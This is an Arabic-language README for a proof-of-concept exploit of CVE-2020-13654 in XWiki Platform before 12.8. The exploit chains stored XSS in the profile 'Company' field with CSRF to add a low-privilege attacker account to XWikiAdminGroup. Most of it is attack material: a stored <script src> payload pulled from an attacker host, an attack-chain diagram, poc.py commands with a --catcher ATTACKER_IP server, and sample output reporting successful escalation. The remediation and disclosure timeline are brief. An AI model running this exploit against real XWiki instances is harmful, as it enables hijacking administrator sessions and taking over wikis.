
CVE-2020-13654 - XWiki Platform < 12.8 - XSS مخزنة → CSRF → اختراق الحساب
اكتشف وأبلغ به: Astaruf
الشرح الكامل: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
مدخل NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-13654
لا يقوم XWiki Platform قبل الإصدار 12.8 بتطبيق ترميز HTML على الحقول التي يتحكم فيها المستخدم في محرر الملف الشخصي. الحقل المتأثر الذي تم تأكيده أثناء البحث هو "الشركة" (Company) (تحت تحرير → المعلومات الشخصية)، لكن حقول الملف الشخصي الأخرى تشارك نفس مسار الكود.
عند عرض صفحة ملف شخصي، تُخرج قيمة الحقل المخزنة كما هي في HTML دون أي استدعاء لـ $escapetool.xml() أو ما يعادله من الهروب. يمكن للمهاجم الذي لديه أي حساب مصادق عليه، بما في ذلك حساب مسجل ذاتيًا حديثًا، تخزين HTML/JavaScript عشوائي يتم تنفيذه بشكل دائم في متصفح كل مستخدم يزور الملف الشخصي، بما في ذلك المسؤولين.
السبب الجذري في قالب Velocity المتأثر:
## ضعيف (< 12.8): القيمة تُكتب مباشرة إلى DOM
$xwiki.getUserProperty($user, "company")
## مُصلح (≥ 12.8): القيمة مشفرة HTML قبل الإخراج
$escapetool.xml($xwiki.getUserProperty($user, "company"))
| الحقل | القيمة |
|---|---|
| المنتج | XWiki Platform |
| الإصدارات المتأثرة | < 12.8 |
| تم الإصلاح في | 12.8 |
| درجة CVSSv3 |
يُظهر هذا الإثبات العملي سلسلة رفع امتيازات بنقرة صفرية:
حساب مهاجم بامتيازات منخفضة
│
├─ يخزن <script src="http://attacker/payload.js"> في حقل الشركة
▼
صفحة ملف شخصي لـ XWiki (ملوثة)
│
├─ المسؤول يتنقل إلى الصفحة (مثلاً عبر قائمة المستخدمين أو تذكرة دعم)
▼
يتم تنفيذ الحمولة في جلسة متصفح المسؤول
│
├─ تجلب /bin/view/XWiki/XWikiAdminGroup ← تستخرج رمز CSRF
├─ ترسل طلب POST بـ form_token + xpage=adduorg + name=attacker ← تضيف المهاجم إلى XWikiAdminGroup
│
▼
المهاجم يحصل الآن على وصول كامل كمسؤول
لا حاجة لأي تفاعل من المسؤول بخلاف زيارة صفحة واحدة.
poc.py هو سكربت استغلال متكامل. يقوم بما يلي:
/payload.js) ويسجل الإشارات الواردةعندما يزور المسؤول الرابط، يقوم وسم <script src="..."> المخزن بتحميل payload.js من خادم المهاجم. تعمل الحمولة في سياق متصفح المسؤول المصادق، وتضيف حساب المهاجم بهدوء إلى XWikiAdminGroup، وترسل نتيجة ذلك.
pip install -r requirements.txt
مع التسجيل الذاتي (لا حاجة لحساب موجود مسبقًا):
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123' \
--register \
--first-name John \
--last-name Doe \
--email [email protected]
باستخدام حساب موجود مسبقًا بامتيازات منخفضة:
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123'
[*] جاري تسجيل الحساب 'hacker' ...
✅ تم التسجيل بنجاح.
[*] جاري المصادقة كـ 'hacker' ...
✅ تمت المصادقة. الجلسة: {'JSESSIONID': 'ABC...'}
[*] جاري حقن الحمولة في الملف الشخصي لـ 'hacker' ...
✅ تم تخزين الحمولة: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] جاري التحقق من الحمولة المخزنة ...
✅ تم تأكيد الحمولة في مصدر الصفحة.
════════════════════════════════════════════════════════════
تم تجهيز الاستغلال — انتظار الضحية
شارك هذا الرابط مع (أو انتظر حتى) مسؤول لزيارته:
>>> http://TARGET:8080/bin/view/XWiki/hacker
عند التشغيل، سيتم إضافة حساب المهاجم 'hacker'
إلى XWikiAdminGroup بصمت.
════════════════════════════════════════════════════════════
2024-01-15 10:23:01 [INFO] 📡 تنفيذ الحمولة في متصفح الضحية | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 تم رفع الامتيازات بنجاح | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker
قم بالترقية إلى XWiki Platform ≥ 12.8.
الإصلاح يطبق $escapetool.xml() على جميع حقول الملف الشخصي التي يتحكم فيها المستخدم قبل عرضها، مما يمنع حقن HTML/JavaScript الخام.
إذا لم تكن الترقية الفورية ممكنة، قم بتقييد التسجيل الذاتي وحدد رؤية الملف الشخصي للمستخدمين الموثوقين عبر إدارة صلاحيات الوصول في XWiki.
| التاريخ | الحدث |
|---|
هذا المستودع مُقدم لأغراض تعليمية وأبحاث أمنية مصرح بها فقط.
لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام.
| 7.5 (عالية) |
| CWE | CWE-116 — ترميز أو هروب غير صحيح للمخرجات |
| المعامل | مطلوب | الوصف |
|---|
--target | ✅ | عنوان XWiki الأساسي |
--catcher | ✅ | عنوان URL يتحكم به المهاجم (يستخدم لتقديم payload.js وجمع الإشارات) |
--username | ✅ | اسم مستخدم حساب المهاجم |
--password | ✅ | كلمة مرور حساب المهاجم |
--register | ✗ | تسجيل الحساب تلقائيًا قبل الاستغلال |
--first-name | إذا تم استخدام --register | الاسم الأول للتسجيل |
--last-name | إذا تم استخدام --register | اسم العائلة للتسجيل |
--email | إذا تم استخدام --register | البريد الإلكتروني للتسجيل |
| مايو 2020 | اكتشاف الثغرة |
| مايو 2020 | الإبلاغ لفريق أمان XWiki |
| يوليو 2020 | تم الإصلاح في XWiki Platform 12.8 |
| نوفمبر 2020 | تخصيص CVE-2020-13654 بواسطة MITRE |
| 30 ديسمبر 2020 | الإفصاح العلني — nstsec.com |